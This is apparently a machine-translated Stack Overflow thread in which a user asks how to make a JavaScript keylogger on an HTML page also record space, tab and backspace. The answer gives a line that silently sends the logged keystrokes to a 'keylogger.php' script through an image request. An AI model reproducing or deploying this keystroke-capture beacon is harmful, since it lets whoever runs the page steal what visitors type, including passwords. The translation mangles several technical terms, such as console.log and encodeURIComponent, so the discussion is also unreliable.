Javascript键盘记录器(出于道德目的)

Javascript键盘记录器(出于道德目的),javascript,html,keylogger,Javascript,Html,Keylogger,JS代码 下面是html页面上键记录的javascript代码 它确实可以工作,但一些特殊的键不会被记录,例如空格、制表符、退格等 如何自定义上述代码以记录所有特殊密钥?URL只能包含一组特定字符。这就是您需要对要发送的字符进行编码的原因。使用键上的功能: new Image().src = 'keylogger.php?c='+encodeURIComponent(keys); 可能是因为URL编码。什么原因导致了投票被否决?fromCharCode无法使用KeyboardEvent.key

JS代码 下面是html页面上键记录的javascript代码

它确实可以工作,但一些特殊的键不会被记录,例如空格、制表符、退格等


如何自定义上述代码以记录所有特殊密钥?

URL只能包含一组特定字符。这就是您需要对要发送的字符进行编码的原因。使用
键上的功能

new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);

可能是因为URL编码。什么原因导致了投票被否决?
fromCharCode
无法使用
KeyboardEvent.keyCode
@DávidMolnár的值live
Alt
。虽然我不能确定,但有些帖子似乎被否决了,因为OP不知道帖子的每一个细节。不管他们是否是新用户。一个新用户询问者因为没有正确格式化代码而被一个非常高的代表性成员责骂…当需要5秒钟来单击编辑时,高亮显示代码,然后单击将“格式化”代码的
{}
按钮。因此,不管问题的主题是什么,有些人往往是非常小气和不宽容的。现在它起作用了,但tab键和backspace键仍然不起作用。如果你
控制台。注销
编码器组件(键),输出是什么
键中带有空格/制表符
?没有制表符和退格键的输出,但在chromium控制台日志上空格会生成%20,而在Firefox上ESR空格与chromium中相同,但退格键和制表符键分别转储%08和%09。我不确定我是否正确理解了这一点。这是Chrome的问题吗?PHP脚本在服务器端可能有问题吗?
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);